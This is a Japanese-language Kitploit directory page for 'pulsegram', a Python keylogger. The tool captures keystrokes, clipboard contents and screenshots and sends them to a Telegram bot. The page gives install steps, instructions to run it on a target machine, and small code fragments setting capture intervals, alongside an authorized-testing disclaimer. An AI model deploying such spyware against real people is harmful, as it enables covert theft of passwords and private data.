Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pulsegram — Pythonベースのキーロガーで、Telegramボットを統合し、認可されたセキュリティテスト環境においてキーストローク、クリップボードの内容、スクリーンショットを取得します。 | Kitploit
ツール/GitHubGitHub/taurusomar/pulsegram
データ流出学習と教育レッドチーミング
GitHubtaurusomar/pulsegram

pulsegram

Pythonベースのキーロガーで、Telegramボットを統合し、認可されたセキュリティテスト環境においてキーストローク、クリップボードの内容、スクリーンショットを取得します。

リポジトリを見る
16621年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PulseGram

PulseGram は、Telegram ボットと統合されたキーロガーです。キーストローク、クリップボードの内容、スクリーンショットをキャプチャし、構成された Telegram ボットにすべての情報を送信する監視ツールです。敵対的シミュレーションやセキュリティテストの文脈での使用を想定しています。

⚠️ 警告: このプロジェクトは教育目的および許可された環境でのセキュリティテストにのみ使用されます。許可なくこのツールを使用すると違法となる可能性があり、禁止されています。

root@kitploit:~
  _____       _           _____                     
 |  __ \     | |         / ____|                    
 | |__) |   _| |___  ___| |  __ _ __ __ _ _ __ ___  
 |  ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \ 
 | |   | |_| | \__ \  __/ |__| | | | (_| | | | | | |
 |_|    \__,_|_|___/\___|\_____|_|  \__,_|_| |_| |_|
                                                                                                        
                 著者: Omar Salazar
                 バージョン: V.1.0

機能

  • キーストロークのキャプチャ: キーストロークを記録し、Telegram ボットに送信します。
  • クリップボードの監視: コピーされたクリップボードの内容をリアルタイムで送信します。
  • 定期的なスクリーンショット: スクリーンショットを撮影し、ボットに送信します。
  • エラーログ: エラーを errors_log.txt ファイルに記録し、デバッグを容易にします。

インストール

  1. リポジトリをクローンする:

    root@kitploit:~
    git clone https://github.com/TaurusOmar/pulsegram
    cd pulsegram
    
  2. 依存関係をインストールする: Python 3 と pip がインストールされていることを確認し、次を実行します:

    root@kitploit:~
    pip install -r requirements.txt
    
  3. Telegram ボットトークンを設定する: BotFather を使用して Telegram でボットを作成します。 トークンをコピーし、main.py 内でボットが初期化されているコードに貼り付けます。

  4. keylogger.py 内で自分の ChatID chat_id="131933xxxx" をコピーします。

使用方法

ターゲットマシンで次のコマンドを実行します:

root@kitploit:~
python pulsegram.py

モジュール

pulsegram.py

このファイルはツールのメインファイルで、ボットを初期化し、データのキャプチャと送信を行う非同期タスクを起動します。

Bot(token="..."): 個人トークンで Telegram ボットを初期化します。
asyncio.gather(...): クリップボード監視、スクリーンショットキャプチャ、キーストロークログを実行する複数のタスクを起動します。
log_error: エラーが発生した場合、errors_log.txt ファイルに記録します。

helpers.py

このモジュールには、ツール全体の動作を補助する補助関数が含まれています。

log_error(): エラーを日時形式で errors_log.txt に記録します。
get_clipboard_content(): クリップボードの現在の内容を取得します。
capture_screenshot(): スクリーンショットを撮影し、一時的に保存して Telegram ボットに送信します。

keylogger.py

このモジュールは、キーロギング、クリップボード監視、スクリーンショットキャプチャを処理します。

capture_keystrokes(bot): キーストロークをキャプチャし、情報を Telegram ボットに送信する非同期関数です。
send_keystrokes_to_telegram(bot): 蓄積されたキーストロークをボットに送信します。
capture_screenshots(bot): 定期的に画面の画像をキャプチャし、ボットに送信します。
log_clipboard(bot): クリップボードの内容をボットに送信します。

動作設定

キャプチャと情報送信の時間間隔を変更します。

root@kitploit:~
async def send_keystrokes_to_telegram(bot):
    global keystroke_buffer
    while True:
        await asyncio.sleep(1)  # Change the key sending interval
root@kitploit:~
async def capture_screenshots(bot):
    while True:
        await asyncio.sleep(30)  # Change the screenshot capture interval
        try:
root@kitploit:~
async def log_clipboard(bot):
    previous_content = ""
    while True:
        await asyncio.sleep(5)  # Change the interval to check for clipboard changes
        current_content = get_clipboard_content()

セキュリティ警告

このプロジェクトは教育目的および自身の環境または明示的な許可を得た環境でのセキュリティテストのみを目的としています。許可なくこのツールを使用すると、現地の法律やプライバシーポリシーに違反する可能性があります。

貢献

貢献を歓迎します。協力する際は行動規範を尊重してください。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。

ツールをダウンロード